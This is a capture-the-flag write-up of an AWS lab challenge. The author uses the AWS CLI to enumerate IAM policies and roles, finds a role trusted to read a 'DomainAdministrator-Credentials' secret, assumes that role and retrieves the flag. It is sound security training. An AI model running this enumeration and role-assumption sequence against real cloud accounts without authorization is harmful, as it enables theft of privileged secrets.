In some challenges, you might not see an IAM role or an IP address as the starting point, but rather, an interesting ARN or something like that.
Sometimes during cloud penetration tests, we first find something interesting and then work backwards to see who has access to it. Is it just the Administrators? Well, that’s not really a big deal. Is it all developers, or all users, or anyone in the world? That might be a really big deal!
So in this challenge, we’d like you to get comfortable finding who has access to the interesting thing. For now, the interesting thing is just another secret in secretsmanager, but in later challenges, and on cloud penetration tests, this approach will become quite important.
So, go find out who has access to DomainAdministrator-Credentials in secretsmanager and then use your cloudfoxable profile to access that role and grab the secret.
First, I want to double check the secret, and see if there’s any resource policy attached to it.
1
2
3
4
5
| adicpnn@laboratory % aws secretsmanager get-resource-policy --secret-id DomainAdministrator-Credentials --profile cloudfoxable
{
"ARN": "arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX",
"Name": "DomainAdministrator-Credentials"
}
|
We can test access to it and see that indeed the starting user cannot read this secret.
1
2
3
| adicpnn@laboratory % aws secretsmanager get-secret-value --secret-id DomainAdministrator-Credentials --profile cloudfoxable
aws: [ERROR]: An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:iam::129323993607:user/ctf-starting-user is not authorized to perform: secretsmanager:GetSecretValue on resource: DomainAdministrator-Credentials because no identity-based policy allows the secretsmanager:GetSecretValue action
|
To think ‘backwards’ as this challenge suggets, I want to try and find any permissions policy that grants access to this secret. To limit information to only possible candidates, I will filter for currently attached policies only.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| adicpnn@laboratory % aws iam list-policies --profile cloudfoxable --only-attached
...
{
"PolicyName": "corporate-domain-admin-password-policy",
"PolicyId": "ANPAR4HCPRIDU3YGYLMRT",
"Arn": "arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2026-03-11T15:43:58+00:00",
"UpdateDate": "2026-03-11T15:43:58+00:00"
},
...
|
Lo and behold, something interesting pops up. To fully confirm, I need to read this policy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"secretsmanager:GetSecretValue"
],
"Effect": "Allow",
"Resource": [
"arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-11T15:43:58+00:00"
}
}
|
This is exactly what I’ve been looking for. Now the tricky part is finding which user, role or group might have this policy attached. The plan is to list all roles, then get all policies attached to them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| adicpnn@laboratory cloud % aws iam list-roles --profile cloudfoxable | jq '.Roles[].RoleName' | sed 's/"//g' > roles
adicpnn@laboratory cloud % cat roles
aaronson
Alexander-Arnold
Beard
brian_mcbride
christian_pulisic
deployment_automation
Ertz
event_bridge_sns_rce_role
fox
Kent
...
adicpnn@laboratory cloud % while IFS= read -r line; do echo "$line"; aws iam list-attached-role-policies --role-name $line --profile cloudfoxable; done < roles
...
Alexander-Arnold
{
"AttachedPolicies": [
{
"PolicyName": "corporate-domain-admin-password-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy"
}
]
}
...
|
The “Alexander-Arnold” role has this policy attached, but the question is, can I assume this role?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| adicpnn@laboratory cloud % aws iam list-user-policies --user-name ctf-starting-user --profile cloudfoxable
{
"PolicyNames": []
}
adicpnn@laboratory cloud % aws iam list-attached-user-policies --user-name ctf-starting-user --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "CloudFox-policy-perms",
"PolicyArn": "arn:aws:iam::129323993607:policy/CloudFox-policy-perms"
},
{
"PolicyName": "its-a-secret-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/its-a-secret-policy"
},
{
"PolicyName": "SecurityAudit",
"PolicyArn": "arn:aws:iam::aws:policy/SecurityAudit"
}
]
}
adicpnn@laboratory cloud % aws iam list-groups-for-user --user-name ctf-starting-user --profile cloudfoxable
{
"Groups": []
}
adicpnn@laboratory cloud % aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::129323993607:user/ctf-starting-user --action-names sts:AssumeRole --resource-arns arn:aws:iam::129323993607:role/Alexander-Arnold
{
"EvaluationResults": [
{
"EvalActionName": "sts:AssumeRole",
"EvalResourceName": "arn:aws:iam::129323993607:role/Alexander-Arnold",
"EvalDecision": "implicitDeny",
"MatchedStatements": [],
"MissingContextValues": [],
"EvalDecisionDetails": {},
"ResourceSpecificResults": [
{
"EvalResourceName": "arn:aws:iam::129323993607:role/Alexander-Arnold",
"EvalResourceDecision": "implicitDeny",
"MatchedStatements": [],
"MissingContextValues": []
}
]
}
]
}
|
I couldn’t find a single policy directly or indirectly attached to my user, that would have the Allow iam:AssumeRole statement in it. Even doing a principal policy simulation, I get an implicitDeny.
But why can I still assume this role?
1
2
3
4
5
6
7
8
9
10
11
12
13
| adicpnn@laboratory cloud % aws sts assume-role --role-arn arn:aws:iam::129323993607:role/Alexander-Arnold --role-session-name test --profile cloudfoxable
{
"Credentials": {
"AccessKeyId": "nope",
"SecretAccessKey": "nope",
"SessionToken": "nope",
"Expiration": "2026-03-12T09:48:18+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAR4HCPRIDWPNNITK2C:test",
"Arn": "arn:aws:sts::129323993607:assumed-role/Alexander-Arnold/test"
}
}
|
This I found out, comes from a blind-spot in “simulate-principal-policy”, where the target role’s Trust Policy is not evaluated.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| adicpnn@laboratory cloud % aws iam get-role --role-name Alexander-Arnold --profile cloudfoxable
{
"Role": {
"Path": "/",
"RoleName": "Alexander-Arnold",
"RoleId": "AROAR4HCPRIDWPNNITK2C",
"Arn": "arn:aws:iam::129323993607:role/Alexander-Arnold",
"CreateDate": "2026-03-11T15:44:13+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::129323993607:user/ctf-starting-user"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600,
"RoleLastUsed": {}
}
}
|
Quoting AWS documentation, this is the case of an explicit allow:
A request results in an explicit deny if an applicable policy includes a Deny statement. If policies that apply to a request include an Allow statement and a Deny statement, the Deny statement trumps the Allow statement. The request is explicitly denied.
An implicit denial occurs when there is no applicable Deny statement but also no applicable Allow statement. Because an IAM principal is denied access by default, they must be explicitly allowed to perform an action. Otherwise, they are implicitly denied access.
When you design your authorization strategy, you must create policies with Allow statements to allow your principals to successfully make requests. However, you can choose any combination of explicit and implicit denies.
Execution#
Now with all the information aquired on what I need to access, who can access it, and how to get there, victory is in sight. I went ahead and created a new profile in my aws config file.
1
2
3
4
5
6
7
8
9
10
11
12
13
| adicpnn@laboratory cloud % cat ~/.aws/config | tail
[profile alexander]
region = eu-central-1
role_arn = arn:aws:iam::129323993607:role/Alexander-Arnold
source_profile = cloudfoxable
adicpnn@laboratory cloud % aws sts get-caller-identity --profile alexander
{
"UserId": "AROAR4HCPRIDWPNNITK2C:botocore-session-1773305251",
"Account": "129323993607",
"Arn": "arn:aws:sts::129323993607:assumed-role/Alexander-Arnold/botocore-session-1773305251"
}
|
1
2
3
4
5
6
7
8
9
10
11
| adicpnn@laboratory cloud % aws secretsmanager get-secret-value --secret-id DomainAdministrator-Credentials --profile alexander
{
"ARN": "arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX",
"Name": "DomainAdministrator-Credentials",
"VersionId": "terraform-20260311154358477400000005",
"SecretString": "FLAG{backwards::IfYouFindSomethingInterstingFindWhoHasAccessToIt}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2026-03-11T16:43:58.509000+01:00"
}
|